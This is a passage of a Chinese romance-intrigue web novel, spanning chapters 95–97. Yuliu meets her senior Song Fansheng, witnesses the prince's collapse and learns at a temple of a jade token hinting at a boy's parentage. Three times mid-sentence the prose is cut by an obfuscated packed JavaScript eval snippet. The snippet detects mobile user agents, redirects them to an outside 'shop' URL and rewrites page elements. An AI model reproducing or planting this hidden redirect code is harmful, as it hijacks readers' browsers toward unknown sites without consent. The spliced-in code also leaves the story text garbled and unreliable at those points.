宋繁声没脾气,笑着由她扯开脸颊。他们鼻尖贴着鼻尖,眼睛对着眼睛。 玉流细细地打量这张脸:“师兄,大伤一场瘦了挺多。怎么,时琚没给你熬鸡汤补补吗?” “嗯……大舅哥挺凶。” “别瞎叫,跟我回去,”玉流沉着脸去拽他的手,不准他拒绝,“这不是商量。” 她本就没有想过能一日打探清楚谢遥知的秘密,今夜知晓他是来见人的就足够了。 …… 他们都没走门。玉流懒得走,宋繁声是客随主便。 亲眼见着玉流自然而然地走进当初敏郎住过的房间,他稍显犹豫地跟上,瞧见屋内翻乱的床铺又退了出去,左右看了看,确信自己没有看错后,道:“你——不住你自己的房间?” 才点上蜡烛的玉流:“……” 糟糕,她忘了这茬了。 宋繁声立即顺杆爬:“唔,那我是不是可以理解为你在想——” “不是,”玉流嘴硬挽尊,“这宅子都是我的,我想睡哪儿就睡哪儿。” “哦——” 他好烦,玉流磨着牙,双手搭在桌案上,靠着桌边,像是随口而问,却又十分刻意:“你之后是走还是留下?” 随手放在窗台的蜡烛被夜风吹得摇晃,火苗映红她的半张脸,暖温又昳丽。 宋繁声走到她跟前,低头看着她:“会留下,但不是在你这儿。谢遥知的鼻子太灵了,狐狸比狼狗的嗅觉都敏锐,但凡你身上有我的一点味儿他都能闻到。所以,等你睡着了我就走。嗯?为什么这么看着我,是因为不信我的话吗?” 玉流仰着头,一脸你说呢? “其实我自己也不信。”宋繁声揽住她,低头搭在她的颈窝,不安分地蹭动着,放柔了声线,气息贴着冷冽的下颌爬上柔软的耳尖,升起一点薄嫣红。 “那么……我们要不要在你睡着之前做点什么,大、人?” 玉流当即起了一身的鸡皮疙瘩,她像只被踩到尾巴的猫,迅速抬手拨开他的脑袋,义正言辞道:“少来这套!” “为什么不可以呢,”他还委屈上了,桃花眼垂下,可怜兮兮,“大人是、是想要我哭吗?” 好了,这下她是真的很想骂娘了。 “宋繁声!” “哈哈哈哈哈哈,开个玩笑,有些日子没这么说话了,怪想念的,”宋繁声摩挲着她的面颊,“怎么这么不禁逗,师妹,当初玩我时候的胆子都去了哪里?” “你还有脸说,你也不看看你自己现在,”玉流横眉竖眼,拗不过刀子嘴下的豆腐心,“伤怎么样了,好全了没?” “暂时死不了。你要看吗?有了名分就是不一样,师兄现在很大方。”说着,宋繁声自顾自地开始宽衣解带。 “不要脸,”玉流脸热了,慌忙抓住他的手腕,“什么名分,当初和我写婚书的可是敏——” 戛然而止下玉流脸色骤变:“你……” “嗯,我怎么了?” 他笑意盎然,倒衬得玉流气急败坏了。怪不得当初只要她按了手印,合着在这儿等着她呢。 “宋繁声!”玉流从前引以为傲的冷静自持顷刻倒塌。 “哎!” “你他娘的——” “说了不要说粗口,”宋繁声手动封缄,捏住她的嘴,又趁她发火前赶紧松开,孔雀开屏似的撩开自己的衣袍,“快看我的伤。” 玉流揉着嘴唇,瞠了他一眼,接着移到他的胸前。 两处伤口都已经结痂了,一处剑伤,另一处……她有时候也会信一些大难不死必有后福的鬼话。 只是,她也想不通那些爱恨:“他为什么这么恨你?” 宋繁声拢好衣襟,故作轻松道:“无非是认识久了,相看两相厌,然后嘛……” “然后什么?” “没什么。”他不会说这是因为她。 玉流看着他的眼睛:“不是站在你和他身后的那位长辈逼迫的吗?” 还是提到她了。 宋繁声没直接回答,而是说:“她姓赵。我过去说不准她的身份,只知道她很师父,恨你父亲,还——” 玉流:“恨赵徥?” 宋繁声随意地笑了笑:“如今想来,也不是那么难猜,不是吗?” 是不难猜。 那些隐隐约约的,似是而非的提示。 “登彼太行,翠绕羊肠。杳霭流玉,悠悠花香。力之于时,声之于羌。似往已回,如幽匪藏,”玉流问,“你认为这意味着什么?” 宋繁声很平静:“我们都在里面。” “什——哈……”玉流的眼眸骤然亮起,而后傻乎地喃喃自语,像是感慨,又像悲叹,“对,我们都在里面。” 连安国公也在。国公爷叫了太久,都忘了他的名字——安藏石。 误打误撞地,她也成了陷在诗句中的一位。 谁也没逃开。 宋繁声抚平她无意间皱起的眉心:“我很久没有再见过她了。她或许已经在这里,或许还没有,但不论如何,你都要小心。” “还记得那个嫌犯吗?”他问。 “哪个?” “你在敬国寺跟丢的那个。” 玉流茫然了一瞬,继而想起来是谁:“我都快忘了这件事,章囚今日也没和我说。你有线索?” “没有,”宋繁声道,“我只是想告诉你,他们最会匿于人群中,且有自己的暗网,你发现了一个,极有可能让他们都生了警惕,再追查已经没有用了。章囚应该还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019415|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在找,你明日和他说一声,此事得先放下。” 玉流抿着唇,稍作思虑,而后问:“他们是‘日’还是‘月’?” 宋繁声弯唇:“我是‘月’。” “哈……我知道了,”玉流平淡点头,“我会静观其变的。不过这几日我也没这么多的闲心想他们,安思贤有了身孕,之后的日子估计不会太平。” 宋繁声挑眉:“虫飞薨薨,甘与子同梦。你忧心后宫会影响前朝?” “那倒不至于,我又不是谏臣,连忠臣都算不上。求其上,得其中;求其中,得其下;求其下,必败。我是怕她影响到我。安国公死之前曾求过我一件事,本来不想管的,而今得好好考虑考虑了。” “你若觉得可行便做,”宋繁声向来是支持她的,“只是谢遥知不会防备你并不代表其他人不会。你的那些手下,同样也要小心。” 虽未言明,玉流还是察觉到了一丝不对,尤其是她今日还从章囚那儿听说了那件事。 “你是说——当时鄞州案,你也在对不对。”玉流问。 “我在,”宋繁声承认,“他也在。那几人之死我阻止不了,你就先当作什么都没有发现,一切照常。毕竟从某种意义上来说,你和她所追寻的东西是一致的。” 玉流不置可否,宋繁声便当作她默许了:“还有什么要问的吗,我们下一次见,可能要很久之后了。” 说到这儿,玉流忍不住要问了:“所以你之后住哪儿?” “稍微安全点的地方,放心,我不会离你太远。” “然后又消失一段时间?” 听出她的怨气,宋繁声失笑:“如果你觉得寂寞,我会在夜里过来,就……嗯,算作是一种情趣。夜会情郎,你觉得如何?” 玉流冷笑,送他一个字:“滚。” “好了,笑过了就别拉着脸,”宋繁声单手抱起她,“师妹,多久没睡了?” 玉流张口就是:“这事你不是比我更清楚?” “嗯?”宋繁声去搓她的脸,搓得扁扁的,红红的,“学坏了。我说的是字面上的睡。” 玉流拍掉他的手:“我说的就是字面上的意思。跟踪前我刚睡过。” “那睡好呢?” 玉流哑然:“……不知道。” “唉。”宋繁声扬手熄灭蜡烛,把人放到床上,给她脱了鞋,盖上被褥,然后坐在床边,裹紧她的手。 玉流只露出小半张脸,讷讷道:“这样并不舒服。” “嗯,但是上来了我就舍不得走了。” 玉流不说话了,果断闭上眼。 宋繁声柔声道:“不要皱眉,我不会马上走。” 玉流轻轻嗯了声,不安之感如细水褪去。 “睡吧,师妹,师兄会守着你。” 熟悉的人在身边,玉流短暂地放下了戒备,没过多久,平稳的呼吸声昭示她已安然睡去。 宋繁声知道他该走了。 可私心作祟,他和自己说再等等,再等等。 他弯下腰凑近她。 的确不是很舒服的姿势。 他吻上她的手背,闭眼静了会儿心。 他多希望月不会落,日不会升,此夜久长,可所念皆为虚妄,总是寂寞更长,欢愉夜短。 95. 谁像谁 玉流醒来时,窗外已经亮透。 床边的折痕全然不见,瞬息的柔暖从指缝中流走,如同谁都不曾来过。倒是沉眠中长长久久的喜梦还在尚不清明的眼前似尘埃浮游,明晦无常。 玉流摸着微微发烫的脸,几度无言。 她真的要疯了。 到院子里掬了捧凉水打湿脸颊,水珠从碎发间滴落,溅在地上,转眼就被头顶还未热烈的朝阳晒干。 心足够静了,玉流才起身出门,去了侯官署。 刚跨进门,外侯官就告知了她一个好消息——诸几醒了。 没醒彻底,胜在能说能喝。 只见他呆滞地坐着,吃上了拿首等囚犯的待遇,由章囚亲自坐镇,盯着他一口两口三口地灌下一大锅的药汤。 玉流可太有眼力见了,没等闻从那大锅中溢出的“香”味,就已经掉头。 诸几也不遑多让,到处瞟的眼睛看见她,仿佛看见了救命恩人般热切,丢开手里的碗就要朝她扑来:“玉流,玉流!是滋补的药汤,快来和我一起,别走,别、走——” 玉流本人完全不想当他此刻的救命恩人,脚底抹了油,当场就溜:“我还有事先走了,再会。” 这种苦就不用同享了。 “别啊,玉流,玉唔——”剩下的话语被章囚悉数按了回去,他丢下一句“喝完才准出去”,转身跟上了玉流走远的背影。 他在长廊的尽头找到了坐在木栏荡着腿玩儿的人。 玉流经过东厨的时候顺手从厨娘子搁在水缸边的竹篮中拿出根洗过的黄瓜,自己咔咔咬得正欢:“诸哥看起来不错啊,之后怎么你打算怎么办?” 章囚:“他的记忆没有很清晰,适合灌输点什么。这么多年来,总是长了些脑子的,你我就不用担心了,用不着磨合得太好,不然反而会让陛下察觉,后面你随机应变配合他就行。” “明白了。”玉流听着那厢诸几震破房门的唉声叹气,咬得更欢了。 章囚耳中都是她咔嚓咔嚓的咀嚼声,捏着眉心道:“饿了就吃点正经的,锅里还有吃食。” 玉流摆手:“放心,我没有喜好虐待自己的毛病,路上买了包子,就是王家师傅这次肉末掺多了,一口下去满嘴都油,腻到我了。” 章囚不是很买账,但他的话玉流也不怎么听,不如选择相信,他也不打算多说教:“你之后有什么安排,要是闲着没事干就回去继续歇着,京城没什么大事也不缺你一个。” “有啊有啊,”玉流记着昨夜宋繁声同她说的那件小事的,“我之前让你查的那个高手你有什么收获了吗?” 章囚面露难色:“还在查……” 正如宋繁声所预料的那般,章囚没能找到什么有用的东西。 玉流道:“囚哥,把人叫回来吧,别浪费精力了。” “不找了?” “嗯,他或许不是我想的那样。当时刚从外头回来,思绪什么都没调理好,猛地瞧见厉害点的,就当成个人物了,如今仔细想想,大殷这么大的地方,这么多的人,京城冒出几个轻功能胜过我,也不无可能。” 看出章囚还想追问,玉流也不多说:“不管如何,先停一停吧,都过了这么多日还没找到,估计再耗下去也找不到了。” 章囚领会了她没有言明的意思:“好,我知道了。” 目的已经达到了,玉流也不留下陪着诸几吃苦了:“那我先走了,你和诸哥慢聊。” 刚走了几步,迎面就遇上守门的外侯官跑来:“大人,郡主那边派人来送口信,让玉大人去王府一叙,说诸大人的朋友也在。” 玉流不免诧异,囫囵吞下最后一口:“诸大人?诸几什么时候有朋——嗯,你去回个话,我马上就过去。” 不知是该说她低估赵颐还是低估谢遥知了。被请进王府没走几步,和福王爷打了个沉默的照面,远远地就听见赵颐院子那边你来我往的笑语。 “郡主和郡王似乎不太相像。” “见过我俩的都这么说,肖父肖母自然就不像了。谢公子觉得谁比较好看?” “不该这么说,但,应当是活人好看些。” “哈,很好啊,谢公子有胆识。那,本郡主和玉流比起来呢?”赵颐托着挽得一丝不苟的发髻,坏笑虚浮在面上,羞涩地俯身贴近。 谢遥知微微一笑,退后半步:“郡主殿下能问出这话,想来也必然猜到了,那在下不妨就直说了,玉流她……” 越说越不对了。 领路的下人早就作鸟兽状逃开,玉流翻了个白眼,她真是服了赵颐了,放开嗓子咳了两声。 “呀呀呀,玉流来了呀!”赵颐瞬时笑靥如花,提着裙摆蹬蹬蹬就跑了过来,花中飞贼都没她招摇。 看出来了,赵颐也是故意的。 玉流闪身躲开,任凭赵颐没刹下脚步直挺挺地冲进后面的花丛中,而后转头,伸手挡住写越来越近的谢遥知:“你又在做什么?” 谢遥知食指抵着鼻尖,似乎在细闻着什么:“你身上好像有一丝特别的气味?” 玉流舔着牙尖:“光正街王家包子铺的气味。都什么和什么,你不会是没睡醒吧。怎么,昨夜去哪儿忙了?” “怎么会呢,”谢遥知脸上的笑停了一息,继而悠然道,“我人生地不熟的能去哪儿啊,自然是乖乖呆在诸大人的府上好生睡觉啊。” 玉流当即接话:“人生地不熟的,那你怎么到了这儿来?” “还能怎么,这不是本来想找你来着,结果走了一半就被郡主派来的人接过来了吗,”谢遥知朝着已经从花丛里爬出来的赵颐微微点头,“劳烦殿下了。” 玉流敏锐地捕捉到了一缕不寻常的气息,低声问:“唉,一个晚上而已,你嘴巴是吃到什么解毒的仙药了?” 谢遥知:“你在京城的好友,我知道分寸的。别问了,你的好友过来了。” “小事一桩,反正我也没事做,”赵颐走着,拨开身上的碎草和碎花,“对了,谢公子能否先去前院坐坐,好几日不见了,本郡主也想和玉流说一会儿悄悄话。” “郡主客气了,那您不要霸占太久,玉流可是答应了要陪在下好好在京城里逛逛的。” 如果玉流没聋的话,后一句是说给她听的,但他们分明都清楚那只是权宜之策。 不。 此时是他的制胜之计。 该死,玉流吊起眉稍,想阻止已经来不及,赵颐嘴比脑子快,已经满口答应:“好说好说。” 送走笑得得意的谢遥知,赵颐抬肘戳玉流:“你们崇州还真是地灵人杰,什么时候带我去玩玩呗?” “……你怎么这么闲?” “因为我是郡主?” 玉流:“……” 懒得和她说这些,玉流伸手摘下她头上的枯枝:“行了,别来掺和我的事了。话说你爹怎么就开始摆灵堂了?他知道了?” “嗯,”提起赵廉的死,赵颐有些莫名的烦躁,“夜里章囚来过了。我娘一听当场就晕了,啧,说到底还是伤心的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036891|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟是她怀胎十月,九死一生生下的,不仅仅是儿子,还是第一个孩子。我爹守了半宿呢。咦,老头也是古怪,说他最爱自己吧,还要时不时热脸贴冷屁股给我娘扇耳光,这不,天才亮就忙活起来了,还说午后要去敬国寺找几个和尚来诵经。” 赵颐搓上手臂,仰头望着无云的晴空,含着怨愤:“我不过就是站着看了会儿,就被我娘逮着骂了一顿,被她用银盆子泼了半身的热水,她就不怕我当场笑出来?不过我也不敢,皇叔要来。” “想好得快一点就忍着,”玉流拉开她偷偷抓挠的手指,“是章囚说的还是你爹去请的?” 赵颐:“章囚说的。虽然作恶多端,死有余辜,但再不争气的侄儿也是侄儿。” 玉流想起了另一个人:“那安思贤呢?” 赵颐摇头:“没说,但我想应该不会来,这是白事,要是冲撞到了她肚子里的孩子,谁都担不起。说到这个,我爹要我去敬国寺请和尚,顺便要我去拜佛,再求个不鸣住持开过光的护身符。你有没有空,陪我去。” 玉流:“……” 赵颐:“你怎么不说话?” “我的沉默就是回答,”玉流抽回自己的手,“要我说你也别找和尚了,去找道士来看看风水驱驱邪算了。” “你以为我没说吗,我爹拒绝了。他说要是真的找出妖邪算谁的?我说自然是算他的,然后我爹说不行,他只会当场把我赶出王府。” 玉流差点哽住,扯了扯衣襟:“其实……你也可以搬出去住了,你不是还有个郡主府吗?” “不要。我自己那点月俸都不够我活,怎么养得起我院子里的那些小公子?自然是要我爹接济。反正他们只有我一个了,没承下王爷的名头前我是不会走的。” “……简直父慈女孝。你和福王爷也像越发相像了,不仅是长相,连性子也是。”玉流如此点评。 “没办法,女肖父,儿肖母,打小我娘偏爱我哥就是因为我不像她,她不爱我爹,于是我也遭受了池鱼之祸,”赵颐语气平得就像是在说偶然间听见的坊间之事,看她的时候嘴里的话突然就拐了一个急弯儿,“哎,你锁骨那儿怎么有一小块红红的?” “……”玉流平静地把领口扯回,“夜里睡觉的时候被虫咬了。” “是吗?我怎么觉得你犹豫了。” 是,她有那么一瞬间觉得昨夜的梦是真的了。 “咳,”玉流举目张望,“忘了问,宝儿和小白你放哪儿了?” “啊,他俩在我的院子里,这时候应该轮到和哪位哥哥一起识字读书吧,咦,你怎么说到这个了,是来了良心想去看看吗?” 赵颐就当她默认了:“那走吧。” 才抬脚,就听见“咚——”的一声重响,随后便是下人的惊呼:“王爷——” 赵颐回头:“我爹?” 玉流抓起她的手:“走,在那边。” 福王爷瘫倒在地,脸色铁青,满脸唯有惊恐,被自己女儿扶起来也没什么反应。 赵颐倒还算镇定,拍着他的脸:“爹,你这大白天的又是见到什么鬼了,脸色比当年还要白。我都说了找个道士来看看……爹,爹,哎哎哎,别晕啊!你们还站着干嘛,来几个人把王爷扶回去,再来几个人去请郎中啊!” 玉流退后几步给他们的兵荒马乱让路。 她听见了老王爷昏过去前从喉头滚出的艰涩之音。 ——像、好像、你、怎么会…… 谁? 谁像谁? 96. 寺中人 “府中接连遇不详之事,若有不周之处,还望玉大人见谅。”久不露面的福王妃一字一字地说着,如同隆冬的冰凌化水滴滴坠坠,无人味,少人情,话里话外都是送客之意。 玉流确实也没有再留下的道理,略带歉意地行了个礼,转身告辞,却不想又被她叫下。 “玉大人且慢,本王妃还有一句话,”高位坐久了,看底下的谁都是瞧不起的姿态,连小户人家出身的王妃也是如此,“之前就同玉大人说过了,郡主天真愚钝易被他人撺掇,玉大人不该教坏她,更不该把什么不要的人都塞给她。” 陡然凌厉的面容让玉流有种不好的预感,果不其然,福王妃尖声至极:“你当郡主是什么,福王府是什么!是你的乳母,你的私宅吗!” “还有,”面目早已狰狞,她看起来像个恶毒的怨妇,“玉大人,别不三不四的,一个来一个去,真是让人看了笑话。身为女子,还是要洁身自好。” 这般意有所指,率先挂不住脸的是赵颐,嘴已张开,话音却被玉流压回舌根下。 玉流的眼神有些凶劲,嘴角倒是上翘着:“王妃说的是,玉流受教了。这几日给王府添麻烦了,实在是抱歉,我请敬国寺的师父过来后便会将他们带走。” 在不必死的前提下,玉流对上“母亲”时都会产生一种不自主的偏向,这也是尽管平日里赵颐对王妃诸多怨恨,她都不多加附和的原因。 但在众多人面前这么不给面子的斥责还是让玉流不禁重新审视这位站在高台之上,颧骨高挺,脸颊瘪瘦,眉眼无神,毫无福相的妇人。 赵徸和一年前相比没什么变化,仍旧富态有余,而她,用换了个人的说法都不为过。 操碎心劳碌命换来酸苦身? 福王爷就这么爱其夫人的吗……哈,这对夫妻也挺有意思的。 玉流恭恭敬敬地行完该有的礼仪,跨出福王府的大门,站在墙檐下,抱着胳膊等着另一位比她慢了几步才被请出来的客人。 玉流明知故问:“走哪儿去了,在王府比在自己家走得还顺畅,都能被王妃见着了?” “王府太大了,我乡下人第一次进城,一时眼入迷便走迷路了。唉,城里人就是气性大,你这官当的,也挺一般的啊,”谢遥知揶揄过后狡诈地笑起,要她兑现承诺,“不如偷溜吧,安心陪我到处看看,如何?” “不如何,”玉流没给他什么好脸色,抬头看着天,望远到尽头的矮山边,“我得替赵颐去佛寺请几位师父过来。我托付给赵颐照顾的孩子冒犯到了府上的主人,无异于是我起了祸端,我得收拾残局。好在福王爷有福气,没什么大碍。” 谢遥知:“那我——” 玉流不想给他说话的机会:“敬国寺不是寻常的山中小寺,你没有被邀请,所以你不能跟着我一道。” “呵……不是玉流,我有说过要跟你去吗,”谢遥知幽幽笑着,点着脚低下头,踩过从王府内飘落的翠叶,看似安稳如常,可稀碎的叶还是泄露了他的不满,“我是想问问,你只是去请人?” 玉流毫不忌讳:“我还要去给死人上香。怎么,要我也给你上一炷吗?” 不太妙。仅仅是提起,反应就这么大了。 谢遥知垂下的眼换过几分颜色,他深知不能操之过急:“我就不用了。佛寺这种地方不适合我,万一有个万一被佛祖看出点什么来,那就不好了。” “是么,你居然会怕这种,”玉流捕捉到一缕不寻常的气息,低声问,“你怕什么,怕佛祖看不过去毒哑了你这张嘴?” “话不能这么说。佛家慈悲,怎么着也得是解毒的良药。好了玉流,别拿我撒气了,我不会随时随地跟着你,够有分寸感了。”谢遥知软下声,试图抚平她稍显躁郁的神情。 “这么说我还得谢谢你?得了吧,今日要不是你乱走她能——”玉流紧锁眉头,迁怒之意汹涌,“我当初只问了你要不要来,并未答应过你什么。你可别搞错了。” “可是你问了,”谢遥知轻拽住扭头就走的玉流,“我等到了,我安于这样的等待。” 这是他成为影子后,在漫长的黑夜中唯一学会的。 玉流偏过头,欲言却终究什么都没说出口。 他在伤怀,因为她。 可什么都不合适,不该是京城,不该是今日,更不该是她和他。 人人皆有苦衷,她也会原谅。可他真的不该补上那一刀后,还要如此瞒骗她。 玉流拉开谢遥知的手,徒留他在原地陷入短暂的茫然。 他是有耐心等,不甘也愿意熬,但这样太慢了。以她近日来起伏不定又傲气的心,还有京城横亘在他们之间的这么多碍眼的人和事,说不准他真的要等到猴年马月了。 …… 敬国寺。 玉流没见到不鸣,是不鸣养的小和尚出来将她带了进去。 空空的寺里别有一番死了人的冷清。 玉流问:“就你一个在?” “师父在打坐,其余师兄在受诫,”虎头虎脑的小和尚装老成,木着脸,“小僧以为是郡主来。” “小师父有所不知,王府出了点意外,郡主她……”玉流的眼皮忽地跳了跳,一道熟悉的,不容忽视的视线落在她身上,让她忆起年初在鄞州的那一晚。 玉流站住了。 小和尚只顾闷头朝前走,发觉身后没了声响才停下,不解道:“玉大人?” “哦,那什么,小师父先忙吧,我等住持空了再去找他。我会找个地方坐着,放心,我知规矩,不会到处乱走。”玉流说得言之凿凿,转头就抛之脑后。 假的。 玉流抽出搭着的铜锁,走入藏经塔。六层的高塔,她径直走上了最高层。 虚掩的木门甫一推开,内侧之人长臂一揽,扣住她的瘦肩,无声而来的滚烫气息扑面。玉流抬手捏住他的下巴,让自己离他远点。 “有种。活人藏在皇家寺院,你想成佛还是想当鬼了?” “都不想。每天同灰尘作伴,你也可以来试试。” “不鸣知道你在这儿吗?” “算知道,”宋繁声拉下木帘,经室暗昏,“师兄言出必行,说了不会离你太远。” “所以你猜到我会来?” 宋繁声不免觉得好笑:“我在你心里已经成了未卜先知的神仙了?” 那就是不知道,玉流勾上他的脖颈,她懒得踮脚了:“急得很,我和你说件事。” 近半个时辰之前。 在下人跑散时玉流手疾眼快抓到一个:“刚才怎么了?” 下人行完礼,指着西面的曲径急匆匆道:“王爷好像是刚刚看见谁跑过去,然后,然后就这样了。玉大人,小的还要去禀告王妃……” “去吧,”玉流放开他,和赵颐招呼了声,“我过去看看。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056036|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她很久没来王府了,勉强还记得走西面的话会通往为赵颐隔出来的院子。 这院子通常很少人来,因为里面住的都是些清秀公子。王爷王妃要脸,素来不爱搭理女儿的嗜好,也不准下人过来,那么还会有谁…… 玉流听见了瓷盘碎裂的声音。 循声望去,是小白。 他手里的碗碟碎了一地,糕点掉在地上,咕噜噜地滚了老远。 玉流站在路的这边,看见那边的谢遥知眼眸深黑,声音低沉,其中似乎还有毒蛇吐信子的喘息:“小弟弟,你娘没有教过你,撞到人了是要道歉的吗?还有……这么笨手笨脚,是手脚不会用吗?” 而他口中的小弟弟,半个身子都在抖。 玉流静静地听完看完,一步步倒退,仿佛不曾走到过此处。 “他们认识。” 就是口说无凭,玉流也敢断定。 还有赵颐的话,不知是不是无心,说得也不甚明晰,但玉流仍觉得此“当年”就是赵徸见到安思贤的那日。 所以小白像谁? “你觉得他长得像你二叔吗?”玉流问他。 “不像,”不然他在见到小白的时候就该认出来,“他的脸你倒是不必多心,是真的,他应当长得像他母亲。” 玉流:“你怎么也开始说废话了。师兄,他和我说他姓赵。” “赵是大姓。”宋繁声提醒她。 “但只有他自己送上门来。” 玉流复述了那晚的情景,宋繁声闲不住,卷着她的发尾还不忘点评:“你那个晚上挺忙的啊。” “别动手动脚,我都还没和你算账,你昨夜做了什么好事?”她今日心气不顺,不想和他调情。 “看到了?嗯,一时情难自禁。你要理解我,看得着吃不着,师兄很难受的。” 玉流闭了闭眼:“我在和你说正经事。” “好吧,”宋繁声放下被他玩出波纹的卷发,后仰倚墙,从木帘的缝隙望向塔外,漫不经心地问,“你当初为何愿意留下他?” “因为他们和你一样,都带着目的接近我。” “这话就说错了,我和他们可不一样。”这时候了,宋繁声还要放对自己的位置。 “啊,是不一样,你最坏了,坏得把我坑蒙拐骗十年还不够。” 宋繁声握住她戳过来的手指,低声笑:“嗯,是我的错,不要生气。宝儿小妹妹有目的,你应该已经弄清了,至于小白,你真的毫无头绪吗?” 有是有,还是小白自己说的。寻太白,寻长庚……玉流拎出那位她几乎从不会怀疑的人:“你觉得师父年轻时会有什么鲜为人知的风流韵事吗?” “比如说?” “留下个孩子。你不觉得他其实有些像师父吗?不用说年纪什么的对不上,你都有脸装嫩比我小,他怎么不可以?” 宋繁声语塞,继而失笑:“唉,要是师父听到了,怕不是会出山赶过来打我一顿。” “为什么要打你?” “我没把你养好,你都敢败坏师父的名声了。” “哎,宋繁声,什么叫‘养好’,我是你养大的吗,少往自己的脸上贴金!” “不是吗,只有你这么想吧,好了,我不说了。我们想不出,说不定别人早就想出来了呢,”宋繁声搂住玉流,护住她的腰,侧过身朝向闭紧的木门,朗声道,“住持,您觉得呢?” 97. 寻白意 “有些时日未见了,两位年轻人的感情似乎更好了,不过老衲还是要多嘴一句,切记这是在佛祖面前。天干物燥,小心心火,不要动手,更不要动口。”老和尚眯着眼,含笑着,姗姗推门而来。 玉流耷着眼,无力又无奈地拽下宋繁声的手,无视他略带不满的眼神,规矩地束在身后:“住持,这不好笑,听墙角也非好事。” 不鸣轻言慢语:“玉大人不走寻常路,老衲也只好出此下策了。” 佛门之地,玉流犯错便认:“抱歉,我不该骗你的小和尚。” “倒也不是这个说法,既然小宋公子在这儿,那玉大人迟早是要知晓的。玉大人自己找过来,也免得老衲多走一趟。” 玉流接话:“也省得我多跑一趟。” 难得有正儿八经的借口进敬国寺,玉流怎么可能只为了来请几个和尚?当初不鸣的那些话分明就是他也知道点什么,说不清是因为知道的不多,还是不能不敢? 玉流希望是前者。 玉流单刀直入:“住持应该听见了我们的谈话,那我就不再复述了,后面还得去福王府交差呢。所以,您想出什么来了?” “玉大人不必担心,寺内众多弟子皆在受戒,慢一个时辰离寺也是可以的。” “说到这件事,你的那些弟子一年到头都出不了几次寺门,这是受的哪门子戒?” “寺内人出不去,但寺外人进得来。有人甘愿舍命破局,即使收效甚微。” 哦,安国公的死。 玉流无法体会这位老父亲在勒死自己时抱着怎样的决心,所以她不会多言。 “在说出老衲的猜测之前,还烦请玉大人先瞧瞧此物。”自从那日换玉之后,不鸣就一直在等着今日的到来,他举步上前,小心翼翼地从袈裟中拿出那块换得之玉。 “这块玉有什么好看的,”玉流不理解他的小题大做,“您可以丢过来,一块半个巴掌大的玉我还是接得住的。就算我接不住,他也可以接住。” 宋繁声挑着眉轻啧一声,反手握住她的手腕,捏了捏她的软筋骨。 不要总是在需要兜底的时候才带上他。 不鸣却是连连摇头:“使不得,老衲也担不起。请玉大人仔细接住。” 亲眼见着玉流双手稳稳捧住,不鸣才看向自他入室之后便一直未作声的宋繁声:“劳烦小宋公子卷起点帘子,再让让位置,让玉大人靠着光站。” 奇奇怪怪的指令,玉流同宋繁声相视一眼,虽不解,但还是听话地走到了有天光落进的地方。 顶着刺目的光,玉流举起黄玉转动着,来来回回换了好几个角度后,她眯眼看清了里面的凿刻,是堪比鬼斧神工的浑然天成。 木从口——杏。 一道曲曲折折的裂痕从中穿过,掺杂着星星点点的灰黑,犹如黄润的杏肉中黑苦的杏仁。 如此,杏便成了杳。 要死。 玉流容不得细想,攥紧黄玉胡乱地塞进宋繁声的手中,丢下一句“你自己看”后抬眼紧盯不鸣。 她不敢赌:“你别告诉我,他是那位和我师父的孩子。” 不鸣只说:“算得上殿下的。” 玉流有点接不住:“什么叫做算得上?” “玉大人和小宋公子应该比老衲清楚,生是一回事,养又是另一回事。哦,老衲说的并不是两位方才谈论的,你们之间的‘养’。”说着,不鸣促狭一笑。 老和尚果然听见了。 玉流羞带恼地回头瞪了宋繁声一眼,后者放好黄玉后尴尬地摸了摸鼻头,别过脸低声咳着,努力压下嘴角快要止不住的笑意。 不鸣老神在在,像是看不出这二人间的暗潮,继续道:“玉能养到这个成色,必然是长久地佩于身边。玉大人,玉有灵,养久了,也能贮藏一缕情。” “能把这块玉给你们所说的孩子,他的身份必然也不会简单,”不鸣道,“但他的父母……老衲与两位的师父素昧平生,却也听说过天下第一剑尊者的传闻,他既然能教出,呃……” 老和尚在玉流和宋繁声间来回打量,犹犹豫豫地,止住了差点脱口而出的话语。 玉流似乎品出了他这般迟疑的原因,不大高兴:“住持说话说到一半停下是什么意思。教出什么,不能直说?” “呃,”不鸣避开玉流的眼,瞥向另一端,客气道,“能教出像小宋公子这样的剑客,等,弟子,应当也不会差到哪里去。” 玉流:“呵呵。” 合着她只配个“等”是吧。 玉流拿手肘狠狠地捅向宋繁声的腰,微微偏头无声威胁:“不许笑!” 他真该好好谢谢她,这辈子做的万恶混账事迹和一肚子的坏水尽数用到了她身上,能在尘世留个清清白白的好印象。 